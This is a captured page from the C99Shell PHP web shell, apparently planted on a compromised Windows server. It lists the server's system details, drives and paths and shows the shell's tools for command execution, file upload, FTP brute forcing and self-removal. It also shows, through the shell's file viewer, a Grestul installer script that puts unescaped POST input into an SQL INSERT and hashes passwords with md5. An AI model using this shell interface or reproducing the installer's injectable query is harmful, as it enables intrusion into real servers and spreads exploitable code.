!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\AmbienteBogota\comments\install2\   drwxrwxrwx
Free 4.08 GB of 39.52 GB (10.32%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     create.php (3.65 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
*  Copyright 2008 Grestul Group 
*  Powered by Grestul
**/
define('GRESTUL_ROOT'dirname(dirname(__FILE__))."/");

  
/* Check if lock exists */
  
if (file_exists('lock')) {
  echo 
"<title>";
  echo 
'Grestul error';
  echo 
"</title>";
  echo 
"<strong>";
  echo 
'<h1>Grestul Error!</h1>';
  echo 
'<style type="text/css"> p {text-indent:50px; } </style><h2><p>Security notice:</p></h2>';
  echo 
'<p>You must remove the lock from the installer to continue installation.</p>';
  echo 
"</strong>";
  echo 
'<hr width="700" align="left">';
  echo 
'Grestul ';
  include (
'version.php');
  return;
  }
require (
GRESTUL_ROOT.'inc/config.php');
require (
GRESTUL_ROOT.'inc/settings.php');
$user stripslashes($row['user']);
$pass stripslashes($row['pass']);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title>Grestul Installation</title>
    <link rel="stylesheet" href="style.css" type="text/css" />
</head>
<body>
        <div class="contain">
        <div class="logo">
        </div>
        <div class="main">
        <div class="header">Installation Status</div>
        <div class="nav">
            <ul>
        <li class="com">Overview</li>
        <li class="com">License Agreement</li>
        <li class="com">Requirements</li>
        <li class="com">Database Info</li>
        <li class="com">Create Tables</li>
        <li class="on">Create Admin</li>
        <li>Complete Install</li>
            </ul>
        </div>
        <div class="content">
            <h3 class="other">Create Administrator</h3>
        <div class="note">The Admin Username and Password <b>cannot</b> be changed after continue!</div>
        <table>
        <tr class="alt_row">
            <td>Admin Username:</td>
        <?php
        
echo '<form method="post">';
          echo 
'<td>';
        echo 
'<input type="text" name="user" id="user" size="20"';
        echo 
" />";
        echo 
'</td>';
        echo 
'</tr>';
        echo 
'<tr>';
        echo 
'<td>Admin Password:</td>';
          echo 
'<td>';
        echo 
'<input type="text" name="pass" id="pass" size="20"';
        echo 
" />";
        echo 
'</td>';
        echo 
'</tr>';
        
?>
        </table>

        <?php
        
if(isset($_POST['submit'])) {
        
$user $_POST['user'];
        if (
$user =="") {
        echo 
'<b>Please enter a Username!</b>';
        return;
        }
        
$pass md5($_POST['pass']);
        if (
$pass =="") {
        echo 
'<b>Please enter a Password!</b>';
        return;
        }
        
$sql="INSERT INTO grestullogin (user, pass) VALUES ('$user', '$pass')";
        
$result mysql_query($sql$db);
        if (!
$result){
        print 
mysql_error();
        }
            if (
$result) {
        echo 
'<b>Admin Created<br /></b>';
        }
        
mysql_close($db); 
        }
        
?>

            <div class="next"><input type="submit" name="submit" class="submit" value="Create Admin" /></div><br style="clear: both;" />
            </form>

<!-- Website Name-->
        <br /><br />
        <div class="note">These settings can be changed later.</div>
        <table>
        <tr class="alt_row">
            <td>Website Name:</td>
        <?php
        
echo '<form method="post" action="finish.php">';
          echo 
'<td>';
        echo 
'<input type="text" name="webname" id="webname" size="20"';
        echo 
'value="';
        echo 
"$webname";
        echo 
'"';
        echo 
" />";
        echo 
'</td>';
        echo 
'</tr>';
            echo 
'<td>Comments Per page</td>';
          echo 
'<td>';
        echo 
'<input type="text" name="per_page" id="per_page" size="20"';
        echo 
'value="';
        echo 
"$per_page";
        echo 
'"';
        echo 
" />";
        echo 
'</td>';
        echo 
'</tr>';
        
?>
        </table>

            <div class="next"><input type="submit" name="sub" class="submit" value="Continue >>" /></div><br style="clear: both;" />
            </form>

        </div>
            <div class="footer">
            Copyright &copy; 2008 Grestul Group
            </div>
        </div>
        </div>
        <br />
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--